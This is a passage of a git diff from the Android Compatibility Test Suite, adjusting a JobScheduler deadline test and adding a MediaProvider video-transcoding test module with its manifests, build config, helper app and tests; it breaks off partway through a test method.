+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java
@@ -106,18 +106,19 @@
      * {@link JobParameters#isOverrideDeadlineExpired()} returns the correct value.
      */
     public void testJobParameters_expiredDeadline() throws Exception {
-        // It is expected that the "device idle" constraint will *not* be met
+        // Make sure the storage constraint is *not* met
         // for the duration of the override deadline.
+        setStorageStateLow(true);
         JobInfo deadlineJob =
                 new JobInfo.Builder(EXPIRED_JOB_ID, kJobServiceComponent)
-                        .setRequiresDeviceIdle(true)
+                        .setRequiresStorageNotLow(true)
                         .setOverrideDeadline(2000L)
                         .build();
         kTestEnvironment.setExpectedExecutions(1);
         mJobScheduler.schedule(deadlineJob);
         assertTrue("Failed to execute deadline job", kTestEnvironment.awaitExecution());
         assertTrue("Job does not show its deadline as expired",
-                kTestEnvironment.getLastJobParameters().isOverrideDeadlineExpired());
+                kTestEnvironment.getLastStartJobParameters().isOverrideDeadlineExpired());
     }
 
 
@@ -129,16 +130,14 @@
         JobInfo deadlineJob =
                 new JobInfo.Builder(UNEXPIRED_JOB_ID, kJobServiceComponent)
                         .setMinimumLatency(500L)
-                        .setRequiresStorageNotLow(true)
                         .build();
         kTestEnvironment.setExpectedExecutions(1);
-        setStorageState(true);
         mJobScheduler.schedule(deadlineJob);
-        // Run everything by making storage state not-low.
-        setStorageState(false);
+        Thread.sleep(500L);
+        runSatisfiedJob(UNEXPIRED_JOB_ID);
         assertTrue("Failed to execute non-deadline job", kTestEnvironment.awaitExecution());
         assertFalse("Job that ran early (unexpired) didn't have" +
                         " JobParameters#isOverrideDeadlineExpired=false",
-                kTestEnvironment.getLastJobParameters().isOverrideDeadlineExpired());
+                kTestEnvironment.getLastStartJobParameters().isOverrideDeadlineExpired());
     }
 }
diff --git a/tests/JobSchedulerSharedUid/TEST_MAPPING b/tests/JobSchedulerSharedUid/TEST_MAPPING
new file mode 100644
index 0000000..90ff197
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJobSchedulerSharedUidTestCases"
+    }
+  ]
+}
diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp
new file mode 100644
index 0000000..4ba3243
--- /dev/null
+++ b/tests/MediaProviderTranscode/Android.bp
@@ -0,0 +1,61 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsMediaProviderTranscodeTests",
+    test_suites: [
+        "device-tests",
+        "cts",
+    ],
+    compile_multilib: "both",
+
+    manifest: "AndroidManifest.xml",
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    libs: [
+        "android.test.base",
+        "android.test.mock",
+        "android.test.runner",
+    ],
+
+    static_libs: [
+        "androidx.test.rules",
+        "cts-install-lib",
+        "collector-device-lib-platform",
+        "mockito-target",
+        "truth-prebuilt",
+    ],
+
+    certificate: "media",
+    java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"]
+}
+
+android_test_helper_app {
+    name: "CtsTranscodeTestAppSupportsHevc",
+    manifest: "helper/AndroidManifest.xml",
+    sdk_version: "test_current",
+    resource_dirs: ["helper/res-hevc"],
+    srcs: [
+          "helper/src/**/*.java",
+          "src/android/mediaprovidertranscode/cts/TranscodeTestConstants.java"
+    ],
+    static_libs: ["androidx.legacy_legacy-support-v4"],
+    target_sdk_version: "28",
+}
+
+android_test_helper_app {
+    name: "CtsTranscodeTestAppSupportsSlowMotion",
+    manifest: "helper/AndroidManifest.xml",
+    sdk_version: "test_current",
+    resource_dirs: ["helper/res-slow-motion"],
+    srcs: [
+          "helper/src/**/*.java",
+          "src/android/mediaprovidertranscode/cts/TranscodeTestConstants.java"
+    ],
+    static_libs: ["androidx.legacy_legacy-support-v4"],
+    target_sdk_version: "28",
+}
diff --git a/tests/MediaProviderTranscode/AndroidManifest.xml b/tests/MediaProviderTranscode/AndroidManifest.xml
new file mode 100644
index 0000000..50abad9
--- /dev/null
+++ b/tests/MediaProviderTranscode/AndroidManifest.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.mediaprovidertranscode.cts">
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <application android:label="MediaProvider Transcode Tests">
+      <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.mediaprovidertranscode.cts"
+        android:label="MediaProvider Transcode Tests" />
+
+</manifest>
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
new file mode 100644
index 0000000..8dba741
--- /dev/null
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS Tests for MediaProvder.">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="test-file-name" value="CtsMediaProviderTranscodeTests.apk" />
+        <option name="install-arg" value="-g" />
+    </target_preparer>
+
+    <option name="test-suite-tag" value="apct" />
+    <option name="test-suite-tag" value="cts" />
+    <option name="test-tag" value="MediaProviderTranscodeTests" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can't access the system providers. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.mediaprovidertranscode.cts" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+</configuration>
diff --git a/tests/MediaProviderTranscode/OWNERS b/tests/MediaProviderTranscode/OWNERS
new file mode 100644
index 0000000..5ee8e8c
--- /dev/null
+++ b/tests/MediaProviderTranscode/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
\ No newline at end of file
diff --git a/tests/MediaProviderTranscode/helper/AndroidManifest.xml b/tests/MediaProviderTranscode/helper/AndroidManifest.xml
new file mode 100644
index 0000000..a9ad768
--- /dev/null
+++ b/tests/MediaProviderTranscode/helper/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.mediaprovidertranscode.cts.testapp"
+          android:versionCode="1"
+          android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application android:label="Transcode Test App">
+      <property android:name="android.media.PROPERTY_MEDIA_CAPABILITIES"
+                android:resource="@xml/media_capabilities" />
+
+      <activity android:name="android.mediaprovidertranscode.cts.testapp.TranscodeTestHelper"
+                android:exported="true" >
+        <intent-filter>
+          <action android:name="android.intent.action.MAIN" />
+          <category android:name="android.intent.category.DEFAULT"/>
+          <category android:name="android.intent.category.LAUNCHER" />
+        </intent-filter>
+      </activity>
+
+      <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.mediaprovidertranscode.cts.testapp"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+      </provider>
+    </application>
+</manifest>
diff --git a/tests/MediaProviderTranscode/helper/res-hevc/xml/file_paths.xml b/tests/MediaProviderTranscode/helper/res-hevc/xml/file_paths.xml
new file mode 100644
index 0000000..2d5ccaf
--- /dev/null
+++ b/tests/MediaProviderTranscode/helper/res-hevc/xml/file_paths.xml
@@ -0,0 +1,3 @@
+<external-paths xmlns:android="http://schemas.android.com/apk/res/android">
+   <external-path name="external_files" path="."/>
+</external-paths>
diff --git a/tests/MediaProviderTranscode/helper/res-hevc/xml/media_capabilities.xml b/tests/MediaProviderTranscode/helper/res-hevc/xml/media_capabilities.xml
new file mode 100644
index 0000000..3bff61e
--- /dev/null
+++ b/tests/MediaProviderTranscode/helper/res-hevc/xml/media_capabilities.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="false"/>
+    <format android:name="SlowMotion" supported="false"/>
+</media-capabilities>
diff --git a/tests/MediaProviderTranscode/helper/res-slow-motion/xml/file_paths.xml b/tests/MediaProviderTranscode/helper/res-slow-motion/xml/file_paths.xml
new file mode 100644
index 0000000..2d5ccaf
--- /dev/null
+++ b/tests/MediaProviderTranscode/helper/res-slow-motion/xml/file_paths.xml
@@ -0,0 +1,3 @@
+<external-paths xmlns:android="http://schemas.android.com/apk/res/android">
+   <external-path name="external_files" path="."/>
+</external-paths>
diff --git a/tests/MediaProviderTranscode/helper/res-slow-motion/xml/media_capabilities.xml b/tests/MediaProviderTranscode/helper/res-slow-motion/xml/media_capabilities.xml
new file mode 100644
index 0000000..e96557e
--- /dev/null
+++ b/tests/MediaProviderTranscode/helper/res-slow-motion/xml/media_capabilities.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="false"/>
+    <format android:name="HDR10" supported="false"/>
+    <format android:name="SlowMotion" supported="true"/>
+</media-capabilities>
diff --git a/tests/MediaProviderTranscode/helper/src/android/mediaprovidertranscode/cts/TranscodeTestHelper.java b/tests/MediaProviderTranscode/helper/src/android/mediaprovidertranscode/cts/TranscodeTestHelper.java
new file mode 100644
index 0000000..65857f7
--- /dev/null
+++ b/tests/MediaProviderTranscode/helper/src/android/mediaprovidertranscode/cts/TranscodeTestHelper.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediaprovidertranscode.cts.testapp;
+
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.INTENT_EXTRA_CALLING_PKG;
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.INTENT_EXTRA_PATH;
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.OPEN_FILE_QUERY;
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.INTENT_QUERY_TYPE;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.core.content.FileProvider;
+
+import java.io.File;
+
+/**
+ * Helper app for TranscodeTest.
+ *
+ * <p>Used to perform TranscodeTest functions as a different app. Based on the Query type
+ * app can perform different functions and send the result back to host app.
+ */
+public class TranscodeTestHelper extends Activity {
+    private static final String TAG = "TranscodeTestHelper";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        String queryType = getIntent().getStringExtra(INTENT_QUERY_TYPE);
+        if (!OPEN_FILE_QUERY.equals(queryType)) {
+            throw new IllegalStateException(
+                    "Unknown query received from launcher app: " + queryType);
+        }
+
+        final File file = new File(getIntent().getStringExtra(INTENT_EXTRA_PATH));
+        Uri contentUri = FileProvider.getUriForFile(this, getPackageName(), file);
+
+        final Intent intent = new Intent(queryType);
+        intent.putExtra(queryType, contentUri);
+
+        // Grant permission to the calling package
+        getApplicationContext().grantUriPermission(getIntent().getStringExtra(
+                        INTENT_EXTRA_CALLING_PKG),
+                contentUri, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        sendBroadcast(intent);
+    }
+}
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_long.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_long.mp4
new file mode 100755
index 0000000..6b37153
--- /dev/null
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_long.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_medium.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_medium.mp4
new file mode 100755
index 0000000..207530c
--- /dev/null
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_medium.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_small.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_small.mp4
new file mode 100755
index 0000000..f2aa045
--- /dev/null
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_HEVC_small.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testVideo_Legacy.mp4 b/tests/MediaProviderTranscode/res/raw/testVideo_Legacy.mp4
new file mode 100755
index 0000000..1c74ffa
--- /dev/null
+++ b/tests/MediaProviderTranscode/res/raw/testVideo_Legacy.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/res/raw/testvideo_HEVC.mp4 b/tests/MediaProviderTranscode/res/raw/testvideo_HEVC.mp4
new file mode 100644
index 0000000..8a3dba2
--- /dev/null
+++ b/tests/MediaProviderTranscode/res/raw/testvideo_HEVC.mp4
Binary files differ
diff --git a/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTest.java b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTest.java
new file mode 100644
index 0000000..7fa8f1f
--- /dev/null
+++ b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTest.java
@@ -0,0 +1,1111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediaprovidertranscode.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static android.mediaprovidertranscode.cts.TranscodeTestUtils.assertFileContent;
+import static android.mediaprovidertranscode.cts.TranscodeTestUtils.assertTranscode;
+import static android.mediaprovidertranscode.cts.TranscodeTestUtils.installAppWithStoragePermissions;
+import static android.mediaprovidertranscode.cts.TranscodeTestUtils.isAppIoBlocked;
+import static android.mediaprovidertranscode.cts.TranscodeTestUtils.open;
+import static android.mediaprovidertranscode.cts.TranscodeTestUtils.openFileAs;
+import static android.mediaprovidertranscode.cts.TranscodeTestUtils.uninstallApp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.media.ApplicationMediaCapabilities;
+import android.media.MediaFormat;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.SystemProperties;
+import android.os.storage.StorageManager;
+import android.os.storage.StorageVolume;
+import android.os.UserHandle;
+import android.provider.MediaStore;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.install.lib.TestApp;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Optional;
+import java.util.Random;
+import java.util.UUID;
+
+import org.junit.After;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class TranscodeTest {
+    private static final String TAG = "TranscodeTest";
+    private static final File EXTERNAL_STORAGE_DIRECTORY
+            = Environment.getExternalStorageDirectory();
+    private static final File DIR_CAMERA
+            = new File(EXTERNAL_STORAGE_DIRECTORY, Environment.DIRECTORY_DCIM + "/Camera");
+    // TODO(b/169546642): Test other directories like /sdcard and /sdcard/foo
+    // These are the only transcode unsupported directories we can stage files in given our
+    // test app permissions
+    private static final File[] DIRS_NO_TRANSCODE = {
+        new File(EXTERNAL_STORAGE_DIRECTORY, Environment.DIRECTORY_PICTURES),
+        new File(EXTERNAL_STORAGE_DIRECTORY, Environment.DIRECTORY_MOVIES),
+        new File(EXTERNAL_STORAGE_DIRECTORY, Environment.DIRECTORY_DOWNLOADS),
+        new File(EXTERNAL_STORAGE_DIRECTORY, Environment.DIRECTORY_DCIM),
+        new File(EXTERNAL_STORAGE_DIRECTORY, Environment.DIRECTORY_DOCUMENTS),
+    };
+
+    static final String NONCE = String.valueOf(System.nanoTime());
+    private static final String HEVC_FILE_NAME = "TranscodeTestHEVC_" + NONCE + ".mp4";
+    private static final String SMALL_HEVC_FILE_NAME = "TranscodeTestHevcSmall_" + NONCE + ".mp4";
+    private static final String LEGACY_FILE_NAME = "TranscodeTestLegacy_" + NONCE + ".mp4";
+
+    private static final TestApp TEST_APP_HEVC = new TestApp("TestAppHevc",
+            "android.mediaprovidertranscode.cts.testapp", 1, false,
+            "CtsTranscodeTestAppSupportsHevc.apk");
+
+    private static final TestApp TEST_APP_SLOW_MOTION = new TestApp("TestAppSlowMotion",
+            "android.mediaprovidertranscode.cts.testapp", 1, false,
+            "CtsTranscodeTestAppSupportsSlowMotion.apk");
+
+    @Before
+    public void setUp() throws Exception {
+        Assume.assumeTrue("Media transcoding disabled",
+                SystemProperties.getBoolean("sys.fuse.transcode_enabled", false));
+        // TODO(b/182846329): GSI doesn't support transcoding yet
+        Assume.assumeFalse(
+                "Using GSI", SystemProperties.get("ro.build.product").contains("generic"));
+
+        TranscodeTestUtils.pollForExternalStorageState();
+        TranscodeTestUtils.grantPermission(getContext().getPackageName(),
+                Manifest.permission.READ_EXTERNAL_STORAGE);
+        TranscodeTestUtils.pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, true);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        TranscodeTestUtils.disableTranscodingForAllPackages();
+    }
+
+    /**
+     * Tests that we return FD of transcoded file for legacy apps
+     * @throws Exception
+     */
+    @Test
+    public void testTranscoded_FilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            ParcelFileDescriptor pfdTranscoded = open(modernFile, false);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal, pfdTranscoded, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that we don't transcode files outside DCIM/Camera
+     * @throws Exception
+     */
+    @Test
+    public void testNoTranscodeOutsideCamera_FilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        List<File> noTranscodeFiles = new ArrayList<>();
+        for (File file : DIRS_NO_TRANSCODE) {
+            noTranscodeFiles.add(new File(file, HEVC_FILE_NAME));
+        }
+        noTranscodeFiles.add(new File(getContext().getExternalFilesDir(null), HEVC_FILE_NAME));
+
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            for (File file : noTranscodeFiles) {
+                TranscodeTestUtils.stageHEVCVideoFile(file);
+            }
+            ParcelFileDescriptor pfdOriginal1 = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            for (File file : noTranscodeFiles) {
+                pfdOriginal1.seekTo(0);
+                ParcelFileDescriptor pfdOriginal2 = open(file, false);
+                assertFileContent(modernFile, file, pfdOriginal1, pfdOriginal2, true);
+            }
+        } finally {
+            modernFile.delete();
+            for (File file : noTranscodeFiles) {
+                file.delete();
+            }
+        }
+    }
+
+    /**
+     * Tests that same transcoded file is used for multiple open() from same app
+     * @throws Exception
+     */
+    @Test
+    public void testSameTranscoded_FilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            ParcelFileDescriptor pfdTranscoded1 = open(modernFile, false);
+            ParcelFileDescriptor pfdTranscoded2 = open(modernFile, false);
+
+            assertFileContent(modernFile, modernFile, pfdTranscoded1, pfdTranscoded2, true);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that we return FD of transcoded file for legacy apps
+     * @throws Exception
+     */
+    @Test
+    public void testTranscoded_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            ParcelFileDescriptor pfdTranscoded = open(uri, false, null /* bundle */);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal, pfdTranscoded, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that we don't transcode files outside DCIM/Camera
+     * @throws Exception
+     */
+    @Test
+    public void testNoTranscodeOutsideCamera_ConentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        List<File> noTranscodeFiles = new ArrayList<>();
+        for (File file : DIRS_NO_TRANSCODE) {
+            noTranscodeFiles.add(new File(file, HEVC_FILE_NAME));
+        }
+
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            ArrayList<Uri> noTranscodeUris = new ArrayList<>();
+            for (File file : noTranscodeFiles) {
+                noTranscodeUris.add(TranscodeTestUtils.stageHEVCVideoFile(file));
+            }
+
+            ParcelFileDescriptor pfdOriginal1 = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            for (int i = 0; i < noTranscodeUris.size(); i++) {
+                pfdOriginal1.seekTo(0);
+                ParcelFileDescriptor pfdOriginal2 =
+                        open(noTranscodeUris.get(i), false, null /* bundle */);
+                assertFileContent(modernFile, noTranscodeFiles.get(1), pfdOriginal1, pfdOriginal2,
+                        true);
+            }
+        } finally {
+            modernFile.delete();
+            for (File file : noTranscodeFiles) {
+                file.delete();
+            }
+        }
+    }
+
+    /**
+     * Tests that same transcoded file is used for multiple open() from same app
+     * @throws Exception
+     */
+    @Test
+    public void testSameTranscodedFile_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            ParcelFileDescriptor pfdTranscoded1 = open(uri, false, null /* bundle */);
+            ParcelFileDescriptor pfdTranscoded2 = open(uri, false, null /* bundle */);
+
+            assertFileContent(modernFile, modernFile, pfdTranscoded1, pfdTranscoded2, true);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that deletes are visible across legacy and modern apps
+     * @throws Exception
+     */
+    @Test
+    public void testDeleteTranscodedFile_FilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTrue(modernFile.delete());
+            assertFalse(modernFile.exists());
+
+            TranscodeTestUtils.disableTranscodingForAllPackages();
+
+            assertFalse(modernFile.exists());
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that renames are visible across legacy and modern apps
+     * @throws Exception
+     */
+    @Test
+    public void testRenameTranscodedFile_FilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        File destFile = new File(DIR_CAMERA, "renamed_" + HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTrue(modernFile.renameTo(destFile));
+            assertTrue(destFile.exists());
+            assertFalse(modernFile.exists());
+
+            TranscodeTestUtils.disableTranscodingForAllPackages();
+
+            assertTrue(destFile.exists());
+            assertFalse(modernFile.exists());
+        } finally {
+            modernFile.delete();
+            destFile.delete();
+        }
+    }
+
+    /**
+     * Tests that transcode doesn't start until read(2)
+     * @throws Exception
+     */
+    @Test
+    public void testLazyTranscodedFile_FilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            assertTranscode(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTranscode(modernFile, true);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that transcode cache is reused after file path transcode
+     * @throws Exception
+     */
+    @Test
+    public void testTranscodedCacheReuse_FilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTranscode(modernFile, true);
+            assertTranscode(modernFile, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that transcode cache is reused after ContentResolver transcode
+     * @throws Exception
+     */
+    @Test
+    public void testTranscodedCacheReuse_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTranscode(uri, true);
+            assertTranscode(uri, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that transcode cache is reused after ContentResolver transcode
+     * and file path opens
+     * @throws Exception
+     */
+    @Test
+    public void testTranscodedCacheReuse_ContentResolverFilePath() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTranscode(uri, true);
+            assertTranscode(modernFile, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that transcode cache is reused after file path transcode
+     * and ContentResolver opens
+     * @throws Exception
+     */
+    @Test
+    public void testTranscodedCacheReuse_FilePathContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTranscode(modernFile, true);
+            assertTranscode(uri, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that transcode cache is reused after rename
+     * @throws Exception
+     */
+    @Test
+    public void testTranscodedCacheReuseAfterRename_FilePath() throws Exception {
